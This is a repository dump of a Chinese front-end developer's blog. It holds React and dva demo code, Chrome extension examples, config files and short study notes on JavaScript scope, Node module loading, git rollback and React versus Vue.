├── .gitignore ├── examples ├── react-redux-test │ ├── mock │ │ └── .gitkeep │ ├── .webpackrc │ ├── .eslintrc │ ├── .roadhogrc.mock.js │ ├── src │ │ ├── index.css │ │ ├── assets │ │ │ └── yay.jpg │ │ ├── services │ │ │ └── example.js │ │ ├── components │ │ │ └── Example.js │ │ ├── index.js │ │ ├── router.js │ │ ├── models │ │ │ └── example.js │ │ ├── routes │ │ │ ├── Count.js │ │ │ ├── IndexPage.css │ │ │ └── IndexPage.js │ │ └── utils │ │ │ └── request.js │ ├── .gitignore │ ├── .editorconfig │ ├── public │ │ └── index.html │ └── package.json ├── chrome-extension │ ├── icon.png │ ├── manifest.json │ ├── js │ │ ├── content.js │ │ └── popup.js │ └── popup.html ├── chrome-plugin-demo-master │ ├── demo │ │ ├── img │ │ │ ├── icon.png │ │ │ └── sds.png │ │ ├── _locales │ │ │ ├── zh_CN │ │ │ │ └── messages.json │ │ │ └── en │ │ │ │ └── messages.json │ │ ├── devtools.html │ │ ├── js │ │ │ ├── show-image-content-size.js │ │ │ ├── devtools.js │ │ │ ├── inject.js │ │ │ ├── options.js │ │ │ ├── mypanel.js │ │ │ ├── background.js │ │ │ ├── content-script.js │ │ │ └── popup.js │ │ ├── sidebar.html │ │ ├── background.html │ │ ├── newtab.html │ │ ├── options.html │ │ ├── mypanel.html │ │ ├── css │ │ │ └── custom.css │ │ ├── popup.html │ │ └── manifest.json │ └── page-action-demo │ │ ├── img │ │ └── icon.png │ │ ├── popup.html │ │ ├── js │ │ └── background.js │ │ └── manifest.json └── BaiduAdBlock-master │ └── BaiduAdBlock │ ├── images │ ├── icon16.png │ └── icon48.png │ ├── scripts │ ├── background.js │ └── content.js │ ├── index.html │ └── manifest.json ├── imgs ├── dep1.png ├── dep2.png ├── webs │ ├── p │ ├── ckxt.png │ ├── h5.jpg │ ├── pm.jpg │ ├── web1.png │ ├── webs.jpg │ ├── wy.gif │ ├── arch-1.gif │ ├── arch-2.gif │ ├── arch-3.gif │ ├── fenli.png │ ├── nodejs.png │ ├── web2.JPEG │ ├── web3.JPEG │ ├── arch-cs.gif │ ├── browser.png │ ├── jineng1.PNG │ ├── jineng2.JPEG │ ├── jineng3.JPEG │ ├── javascript.jpg │ ├── xiaochengxu.jpg │ └── xiaochengxu.png ├── 事件.png ├── 事件.xmind ├── anquan.png ├── event.png ├── logjs.png ├── popup.png ├── yewai.jpeg ├── anquan │ ├── bg.jpg │ ├── fb.jpg │ ├── huazhu.jpg │ └── 20161111165019365 ├── anquan1.png ├── choujiang.png ├── console.png ├── reactDom.png ├── setState.png ├── xiaodao.jpeg ├── animation1.gif ├── animation2.gif ├── breakPoint.png ├── fiber-tree.png └── setState.xmind ├── reactDom.xmind ├── src ├── npm木马.pptx ├── 大前端简介.pptx ├── 你不知道的js-上册.md ├── 前端面试题精选.md ├── react和vue对比.md ├── git回滚.md ├── nodejs加载机制.md ├── vscode路径别名问题.md ├── BFC.md ├── react16-setState流程.md ├── 黑科技-react如何获取父元素.md ├── js编写动画的方式.md ├── 黑科技-react如何从dom上获取fiber实例.md ├── 图片串行加载.md ├── redux插件原理详解.md ├── react16-事件系统分析.md ├── react源码分析-reactDom.render.md ├── 我是如何从你的网站盗取银行卡和密码的.md ├── 如何开发chrome-extension.md ├── 大前端简介.md ├── 如何阻止我从您的网站收集信用卡号码和密码.md └── 自问自答.md ├── react-test ├── src │ ├── index.css │ ├── index.js │ ├── App.test.js │ ├── App.js │ ├── App.css │ ├── logo.svg │ └── registerServiceWorker.js ├── public │ ├── favicon.ico │ ├── manifest.json │ └── index.html ├── .gitignore └── package.json ├── package.json ├── event-loop.md ├── README.md └── the-super-tiny-compiler.js /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules -------------------------------------------------------------------------------- /examples/react-redux-test/mock/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /examples/react-redux-test/.webpackrc: -------------------------------------------------------------------------------- 1 | { 2 | } 3 | -------------------------------------------------------------------------------- /examples/react-redux-test/.eslintrc: -------------------------------------------------------------------------------- 1 | { 2 | "extends": "umi" 3 | } 4 | -------------------------------------------------------------------------------- /examples/react-redux-test/.roadhogrc.mock.js: -------------------------------------------------------------------------------- 1 | 2 | export default { 3 | }; 4 | -------------------------------------------------------------------------------- /imgs/dep1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/dep1.png -------------------------------------------------------------------------------- /imgs/dep2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/dep2.png -------------------------------------------------------------------------------- /imgs/webs/p: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/webs/p -------------------------------------------------------------------------------- /imgs/事件.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/事件.png -------------------------------------------------------------------------------- /imgs/事件.xmind: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/事件.xmind -------------------------------------------------------------------------------- /imgs/anquan.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/anquan.png -------------------------------------------------------------------------------- /imgs/event.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/event.png -------------------------------------------------------------------------------- /imgs/logjs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/logjs.png -------------------------------------------------------------------------------- /imgs/popup.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/popup.png -------------------------------------------------------------------------------- /imgs/yewai.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/yewai.jpeg -------------------------------------------------------------------------------- /reactDom.xmind: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/reactDom.xmind -------------------------------------------------------------------------------- /src/npm木马.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/src/npm木马.pptx -------------------------------------------------------------------------------- /src/大前端简介.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/src/大前端简介.pptx -------------------------------------------------------------------------------- /imgs/anquan/bg.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/anquan/bg.jpg -------------------------------------------------------------------------------- /imgs/anquan/fb.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/anquan/fb.jpg -------------------------------------------------------------------------------- /imgs/anquan1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/anquan1.png -------------------------------------------------------------------------------- /imgs/choujiang.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/choujiang.png -------------------------------------------------------------------------------- /imgs/console.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/console.png -------------------------------------------------------------------------------- /imgs/reactDom.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/reactDom.png -------------------------------------------------------------------------------- /imgs/setState.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/setState.png -------------------------------------------------------------------------------- /imgs/webs/ckxt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/webs/ckxt.png -------------------------------------------------------------------------------- /imgs/webs/h5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/webs/h5.jpg -------------------------------------------------------------------------------- /imgs/webs/pm.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/webs/pm.jpg -------------------------------------------------------------------------------- /imgs/webs/web1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/webs/web1.png -------------------------------------------------------------------------------- /imgs/webs/webs.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/webs/webs.jpg -------------------------------------------------------------------------------- /imgs/webs/wy.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/webs/wy.gif -------------------------------------------------------------------------------- /imgs/xiaodao.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/xiaodao.jpeg -------------------------------------------------------------------------------- /imgs/animation1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/animation1.gif -------------------------------------------------------------------------------- /imgs/animation2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/animation2.gif -------------------------------------------------------------------------------- /imgs/breakPoint.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/breakPoint.png -------------------------------------------------------------------------------- /imgs/fiber-tree.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/fiber-tree.png -------------------------------------------------------------------------------- /imgs/setState.xmind: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/setState.xmind -------------------------------------------------------------------------------- /imgs/webs/arch-1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/webs/arch-1.gif -------------------------------------------------------------------------------- /imgs/webs/arch-2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/webs/arch-2.gif -------------------------------------------------------------------------------- /imgs/webs/arch-3.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/webs/arch-3.gif -------------------------------------------------------------------------------- /imgs/webs/fenli.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/webs/fenli.png -------------------------------------------------------------------------------- /imgs/webs/nodejs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/webs/nodejs.png -------------------------------------------------------------------------------- /imgs/webs/web2.JPEG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/webs/web2.JPEG -------------------------------------------------------------------------------- /imgs/webs/web3.JPEG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/webs/web3.JPEG -------------------------------------------------------------------------------- /imgs/anquan/huazhu.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/anquan/huazhu.jpg -------------------------------------------------------------------------------- /imgs/webs/arch-cs.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/webs/arch-cs.gif -------------------------------------------------------------------------------- /imgs/webs/browser.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/webs/browser.png -------------------------------------------------------------------------------- /imgs/webs/jineng1.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/webs/jineng1.PNG -------------------------------------------------------------------------------- /imgs/webs/jineng2.JPEG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/webs/jineng2.JPEG -------------------------------------------------------------------------------- /imgs/webs/jineng3.JPEG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/webs/jineng3.JPEG -------------------------------------------------------------------------------- /imgs/webs/javascript.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/webs/javascript.jpg -------------------------------------------------------------------------------- /imgs/webs/xiaochengxu.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/webs/xiaochengxu.jpg -------------------------------------------------------------------------------- /imgs/webs/xiaochengxu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/webs/xiaochengxu.png -------------------------------------------------------------------------------- /examples/react-redux-test/src/index.css: -------------------------------------------------------------------------------- 1 | 2 | html, body, :global(#root) { 3 | height: 100%; 4 | } 5 | 6 | -------------------------------------------------------------------------------- /react-test/src/index.css: -------------------------------------------------------------------------------- 1 | body { 2 | margin: 0; 3 | padding: 0; 4 | font-family: sans-serif; 5 | } 6 | -------------------------------------------------------------------------------- /imgs/anquan/20161111165019365: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/imgs/anquan/20161111165019365 -------------------------------------------------------------------------------- /react-test/public/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/react-test/public/favicon.ico -------------------------------------------------------------------------------- /examples/chrome-extension/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/examples/chrome-extension/icon.png -------------------------------------------------------------------------------- /examples/react-redux-test/src/assets/yay.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/examples/react-redux-test/src/assets/yay.jpg -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/demo/img/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/examples/chrome-plugin-demo-master/demo/img/icon.png -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/demo/img/sds.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/examples/chrome-plugin-demo-master/demo/img/sds.png -------------------------------------------------------------------------------- /examples/BaiduAdBlock-master/BaiduAdBlock/images/icon16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/examples/BaiduAdBlock-master/BaiduAdBlock/images/icon16.png -------------------------------------------------------------------------------- /examples/BaiduAdBlock-master/BaiduAdBlock/images/icon48.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/examples/BaiduAdBlock-master/BaiduAdBlock/images/icon48.png -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/demo/_locales/zh_CN/messages.json: -------------------------------------------------------------------------------- 1 | { 2 | "pluginDesc": {"message": "一个简单的Chrome插件demo"}, 3 | "helloWorld": {"message": "你好啊,世界!"} 4 | } -------------------------------------------------------------------------------- /examples/react-redux-test/src/services/example.js: -------------------------------------------------------------------------------- 1 | import request from '../utils/request'; 2 | 3 | export function query() { 4 | return request('/api/users'); 5 | } 6 | -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/page-action-demo/img/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luke93h/git-blog/HEAD/examples/chrome-plugin-demo-master/page-action-demo/img/icon.png -------------------------------------------------------------------------------- /src/你不知道的js-上册.md: -------------------------------------------------------------------------------- 1 | # 你不知道德js-上册-读书笔记 2 | 3 | ## 目录 4 | - [第一章、作用域是什么](#作用域) 5 | 6 | ## 作用域 7 | js在执行前会经历三个步骤: 8 | 1. 词法分析:将字符串拆分为词法单元; 9 | 2. 语法分析:由词法单元生成抽象语法树 10 | 3. 代码生成 -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/demo/_locales/en/messages.json: -------------------------------------------------------------------------------- 1 | { 2 | "pluginDesc": {"message": "A simple chrome extension demo"}, 3 | "helloWorld": {"message": "Hello World!"} 4 | } -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/demo/devtools.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /examples/react-redux-test/.gitignore: -------------------------------------------------------------------------------- 1 | # See https://help.github.com/articles/ignoring-files/ for more about ignoring files. 2 | 3 | # dependencies 4 | /node_modules 5 | 6 | # production 7 | /dist 8 | 9 | # misc 10 | .DS_Store 11 | npm-debug.log* 12 | -------------------------------------------------------------------------------- /examples/react-redux-test/src/components/Example.js: -------------------------------------------------------------------------------- 1 | import React from 'react'; 2 | 3 | const Example = () => { 4 | return ( 5 |
6 | Example 7 |
8 | ); 9 | }; 10 | 11 | Example.propTypes = { 12 | }; 13 | 14 | export default Example; 15 | -------------------------------------------------------------------------------- /react-test/src/index.js: -------------------------------------------------------------------------------- 1 | import React from 'react'; 2 | import ReactDOM from 'react-dom'; 3 | import './index.css'; 4 | import App from './App'; 5 | import registerServiceWorker from './registerServiceWorker'; 6 | 7 | ReactDOM.render(, document.getElementById('root')); 8 | registerServiceWorker(); 9 | -------------------------------------------------------------------------------- /react-test/src/App.test.js: -------------------------------------------------------------------------------- 1 | import React from 'react'; 2 | import ReactDOM from 'react-dom'; 3 | import App from './App'; 4 | 5 | it('renders without crashing', () => { 6 | const div = document.createElement('div'); 7 | ReactDOM.render(, div); 8 | ReactDOM.unmountComponentAtNode(div); 9 | }); 10 | -------------------------------------------------------------------------------- /src/前端面试题精选.md: -------------------------------------------------------------------------------- 1 | # 前端面试题精选 2 | 3 | 该文章用于记录,比较好的面试题,并尝试给出最佳答案 4 | 5 | ### 怎么去设计一个组件封装 6 | 7 | 组件封装的目的是为了更好的复用,提高工作效率,设计一个优秀的组件可以从以下几方面考虑: 8 | 1. 单元测试。单元测试是用来对一个模块、一个函数或者一个类来进行正确性检验的测试工作。 9 | 10 | * 从短期来看,单元测试会导致工作量大幅增加,降低开发效率;长期来看单元测试有利于项目的维护,升级,重构; 11 | * 使用频率高的模块,核心模块,开源组件应该写单元测试 12 | 13 | 2. 解耦。解耦是为了更加广阔的 14 | 15 | -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/demo/js/show-image-content-size.js: -------------------------------------------------------------------------------- 1 | // 鉴于浏览器默认不会显示图片的体积大小,每次都需要保存到本地才能查看到大小 2 | // 故通过插件的方式强行修改图片页的标题 3 | fetch(location.href).then(resp => resp.blob()).then(blob => { 4 | var size = blob.size; 5 | size = (size / 1024).toFixed(2) + ' kb'; 6 | document.title = '(' + size + ')' + document.title; 7 | console.log(size); 8 | }); 9 | -------------------------------------------------------------------------------- /examples/react-redux-test/.editorconfig: -------------------------------------------------------------------------------- 1 | # http://editorconfig.org 2 | root = true 3 | 4 | [*] 5 | indent_style = space 6 | indent_size = 2 7 | end_of_line = lf 8 | charset = utf-8 9 | trim_trailing_whitespace = true 10 | insert_final_newline = true 11 | 12 | [*.md] 13 | trim_trailing_whitespace = false 14 | 15 | [Makefile] 16 | indent_style = tab 17 | -------------------------------------------------------------------------------- /examples/react-redux-test/src/index.js: -------------------------------------------------------------------------------- 1 | import dva from 'dva'; 2 | import './index.css'; 3 | 4 | // 1. Initialize 5 | const app = dva(); 6 | 7 | // 2. Plugins 8 | // app.use({}); 9 | 10 | // 3. Model 11 | app.model(require('./models/example').default); 12 | 13 | // 4. Router 14 | app.router(require('./router').default); 15 | 16 | // 5. Start 17 | app.start('#root'); 18 | -------------------------------------------------------------------------------- /src/react和vue对比.md: -------------------------------------------------------------------------------- 1 | Vue的优势是: 2 | 1. 模板和渲染函数的弹性选择 3 | 2. 简单的语法和项目配置 4 | 3. 更快的渲染速度和更小的体积 5 | 6 | React的优势是: 7 | 1. 更适合大型应用和更好的可测试性 8 | 2. Web端和移动端原生APP通吃 9 | 3. 更大的生态系统,更多的支持和好用的工具 10 | 11 | 共通的优点: 12 | 1. 用虚拟DOM实现快速渲染 13 | 2. 轻量级 14 | 3. 响应式组件 15 | 4. 服务端渲染 16 | 5. 集成路由工具,打包工具,状态管理工具的难度低 17 | 6. 优秀的支持和社区 18 | 19 | 综上所述,vue适用于小公司(招人方便),小项目(开发快),react适合大型的复杂项目。 -------------------------------------------------------------------------------- /react-test/.gitignore: -------------------------------------------------------------------------------- 1 | # See https://help.github.com/ignore-files/ for more about ignoring files. 2 | 3 | # dependencies 4 | /node_modules 5 | 6 | # testing 7 | /coverage 8 | 9 | # production 10 | /build 11 | 12 | # misc 13 | .DS_Store 14 | .env.local 15 | .env.development.local 16 | .env.test.local 17 | .env.production.local 18 | 19 | npm-debug.log* 20 | yarn-debug.log* 21 | yarn-error.log* 22 | -------------------------------------------------------------------------------- /examples/react-redux-test/public/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Dva Demo 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /react-test/public/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "short_name": "React App", 3 | "name": "Create React App Sample", 4 | "icons": [ 5 | { 6 | "src": "favicon.ico", 7 | "sizes": "64x64 32x32 24x24 16x16", 8 | "type": "image/x-icon" 9 | } 10 | ], 11 | "start_url": "./index.html", 12 | "display": "standalone", 13 | "theme_color": "#000000", 14 | "background_color": "#ffffff" 15 | } 16 | -------------------------------------------------------------------------------- /src/git回滚.md: -------------------------------------------------------------------------------- 1 | ## git回滚 2 | 3 | 最近看到一个问题,虽然没遇到过使用场景,但觉得以后说不定能用上,此处记录一下。问题如下: 4 | 5 | 如果线上代码出了问题,需要代码回滚到之前的某次提交,应该如何操作? 6 | 7 | 方法一,revert: 8 | ```bash 9 | git revert HEAD 10 | git push origin master 11 | ``` 12 | 13 | 方法二,reset: 14 | ```bash 15 | git reset --hard HEAD^ 16 | git push origin master -f 17 | ``` 18 | 19 | 方法三:回滚某次提交 20 | 21 | ```bash 22 | # 找到要回滚的commitID 23 | git log 24 | git revert commitID 25 | ``` -------------------------------------------------------------------------------- /src/nodejs加载机制.md: -------------------------------------------------------------------------------- 1 | 几种模块互用 nodejs加载机制 webpack HMR原理 几个加载器的实现 promise 顺序处理 js 序列化 http2 ant design 表单校验 react/vue 是如何转小程序的 面试了一天 除 2 | 还有一个如何实现直播间几万弹幕发送 送礼物 互不影响啥的 乱七八糟的 根本没明白什么需求 3 | 4 | nodejs模块引用机制 5 | 6 | 在node中已入模块时,需要经历三个步骤: 7 | 1. 路径分析 8 | 2. 文件定位 9 | 3. 编译执行 10 | 11 | 模块分类: 12 | 1. 核心模块 13 | 2. 文件模块 14 | 15 | 优先级: 16 | 17 | 缓存模块 > 核心模块 > 用户模块 18 | 19 | .js > .json > .node 20 | 21 | 自定义模块的路径查找 -------------------------------------------------------------------------------- /react-test/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "react-test", 3 | "version": "0.1.0", 4 | "private": true, 5 | "dependencies": { 6 | "react": "^16.4.1", 7 | "react-dom": "^16.4.1", 8 | "react-scripts": "1.1.4" 9 | }, 10 | "scripts": { 11 | "start": "react-scripts start", 12 | "build": "react-scripts build", 13 | "test": "react-scripts test --env=jsdom", 14 | "eject": "react-scripts eject" 15 | } 16 | } -------------------------------------------------------------------------------- /examples/react-redux-test/src/router.js: -------------------------------------------------------------------------------- 1 | import React from 'react'; 2 | import { Router, Route, Switch } from 'dva/router'; 3 | import IndexPage from './routes/IndexPage'; 4 | 5 | function RouterConfig({ history }) { 6 | return ( 7 | 8 | 9 | 10 | 11 | 12 | ); 13 | } 14 | 15 | export default RouterConfig; 16 | -------------------------------------------------------------------------------- /examples/react-redux-test/src/models/example.js: -------------------------------------------------------------------------------- 1 | 2 | export default { 3 | 4 | namespace: 'example', 5 | 6 | state: { 7 | count: 0 8 | }, 9 | 10 | 11 | effects: { 12 | *fetch({ payload }, { call, put }) { // eslint-disable-line 13 | yield put({ type: 'save' }); 14 | }, 15 | }, 16 | 17 | reducers: { 18 | add(state, action) { 19 | return { ...state, count: ++state.count}; 20 | }, 21 | }, 22 | 23 | }; 24 | -------------------------------------------------------------------------------- /examples/react-redux-test/src/routes/Count.js: -------------------------------------------------------------------------------- 1 | import React from 'react'; 2 | import { connect } from 'dva'; 3 | let i = 0 4 | class Count extends React.Component { 5 | render(){ 6 | console.log('from Count', ++i) 7 | return ( 8 |
9 | {this.props.example.count} 10 |
11 | {this.props.count} 12 |
13 | ); 14 | } 15 | } 16 | 17 | export default connect(state => ({ 18 | example: state.example 19 | }))(Count); -------------------------------------------------------------------------------- /examples/BaiduAdBlock-master/BaiduAdBlock/scripts/background.js: -------------------------------------------------------------------------------- 1 | chrome.runtime.onMessage.addListener( 2 | function (count, sender, sendResponse) { 3 | chrome.browserAction.setBadgeBackgroundColor({ 4 | color: '#F00' 5 | }); 6 | 7 | chrome.browserAction.setBadgeText({ 8 | text: count.toString() 9 | }); 10 | 11 | chrome.browserAction.setTitle({ 12 | title: '已为您清除' + count + '了条广告' 13 | }); 14 | } 15 | ); -------------------------------------------------------------------------------- /src/vscode路径别名问题.md: -------------------------------------------------------------------------------- 1 | ## vscode路径别名问题 2 | 3 | 最近在开发时遇到了这样一个问题,vscode是有模块跳转的功能的(一般为ctrl+左击或alt+左击),但是在设置了webpack的路径别名之后这个功能失效了。 4 | 5 | 网上查了资料后,找到了解决方式如下: 6 | 7 | 1. 在项目根位置创建一个jsconfig.json 8 | 2. 配置jsconfig.json 9 | ```jsx 10 | { 11 | "include": [ 12 | "./src/**/*" 13 | ], 14 | "compilerOptions": { 15 | "baseUrl": ".", 16 | "paths": { 17 | "components/*": ["src/components/*"], 18 | "utils": ["src/utils/utils.js"], 19 | }, 20 | } 21 | } 22 | ``` 23 | 3. 重启ide,搞定! -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/page-action-demo/popup.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | popup页 5 | 6 | 7 | 15 | 16 | 17 |

pageAction演示

18 |

打开百度pageAction会点亮,打开其它页面pageAction会变灰。

19 | 20 | -------------------------------------------------------------------------------- /react-test/src/App.js: -------------------------------------------------------------------------------- 1 | import React, { Component } from 'react'; 2 | import logo from './logo.svg'; 3 | import './App.css'; 4 | 5 | class App extends Component { 6 | state = { 7 | a: 1, 8 | } 9 | onClick = () => { 10 | this.setState({ 11 | a: this.state.a + 1 12 | }) 13 | } 14 | render() { 15 | return ( 16 |
17 |
18 | {this.state.a} 19 |
20 |
21 | ); 22 | } 23 | } 24 | 25 | export default App; 26 | -------------------------------------------------------------------------------- /react-test/src/App.css: -------------------------------------------------------------------------------- 1 | .App { 2 | text-align: center; 3 | } 4 | 5 | .App-logo { 6 | animation: App-logo-spin infinite 20s linear; 7 | height: 80px; 8 | } 9 | 10 | .App-header { 11 | background-color: #222; 12 | height: 150px; 13 | padding: 20px; 14 | color: white; 15 | } 16 | 17 | .App-title { 18 | font-size: 1.5em; 19 | } 20 | 21 | .App-intro { 22 | font-size: large; 23 | } 24 | 25 | @keyframes App-logo-spin { 26 | from { transform: rotate(0deg); } 27 | to { transform: rotate(360deg); } 28 | } 29 | -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/page-action-demo/js/background.js: -------------------------------------------------------------------------------- 1 | chrome.runtime.onInstalled.addListener(function(){ 2 | chrome.declarativeContent.onPageChanged.removeRules(undefined, function(){ 3 | chrome.declarativeContent.onPageChanged.addRules([ 4 | { 5 | conditions: [ 6 | // 只有打开百度才显示pageAction 7 | new chrome.declarativeContent.PageStateMatcher({pageUrl: {urlContains: 'baidu.com'}}) 8 | ], 9 | actions: [new chrome.declarativeContent.ShowPageAction()] 10 | } 11 | ]); 12 | }); 13 | }); 14 | -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/demo/sidebar.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 侧边栏 5 | 6 | 19 | 20 | 21 |

这是一个自定义侧边栏

22 | 23 | -------------------------------------------------------------------------------- /examples/react-redux-test/src/routes/IndexPage.css: -------------------------------------------------------------------------------- 1 | 2 | .normal { 3 | font-family: Georgia, sans-serif; 4 | margin-top: 3em; 5 | text-align: center; 6 | } 7 | 8 | .title { 9 | font-size: 2.5rem; 10 | font-weight: normal; 11 | letter-spacing: -1px; 12 | } 13 | 14 | .welcome { 15 | height: 328px; 16 | background: url(../assets/yay.jpg) no-repeat center 0; 17 | background-size: 388px 328px; 18 | } 19 | 20 | .list { 21 | font-size: 1.2em; 22 | margin-top: 1.8em; 23 | list-style: none; 24 | line-height: 1.5em; 25 | } 26 | 27 | .list code { 28 | background: #f7f7f7; 29 | } 30 | -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/demo/js/devtools.js: -------------------------------------------------------------------------------- 1 | // 创建自定义面板,同一个插件可以创建多个自定义面板 2 | // 几个参数依次为:panel标题、图标(其实设置了也没地方显示)、要加载的页面、加载成功后的回调 3 | chrome.devtools.panels.create('MyPanel', 'img/icon.png', 'mypanel.html', function(panel) 4 | { 5 | console.log('自定义面板创建成功!'); // 注意这个log一般看不到 6 | }); 7 | 8 | // 创建自定义侧边栏 9 | chrome.devtools.panels.elements.createSidebarPane("Images", function(sidebar) 10 | { 11 | // sidebar.setPage('../sidebar.html'); // 指定加载某个页面 12 | sidebar.setExpression('document.querySelectorAll("img")', 'All Images'); // 通过表达式来指定 13 | //sidebar.setObject({aaa: 111, bbb: 'Hello World!'}); // 直接设置显示某个对象 14 | }); -------------------------------------------------------------------------------- /examples/chrome-extension/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "manifest_version": 2, 3 | 4 | "name": "库存查询", 5 | "description": "自动查询库存量,有库存时及时通知用户", 6 | "version": "1.0", 7 | 8 | "permissions": [ 9 | "https://secure.flickr.com/", 10 | "http://smart.supor.com:9097/", 11 | "https://smart.supor.com:9097/", 12 | "tabs", 13 | "storage", 14 | "activeTab" 15 | ], 16 | "browser_action": { 17 | "default_title": "库存查询", 18 | "default_icon": "icon.png", 19 | "default_popup": "popup.html" 20 | }, 21 | "content_scripts":[{ 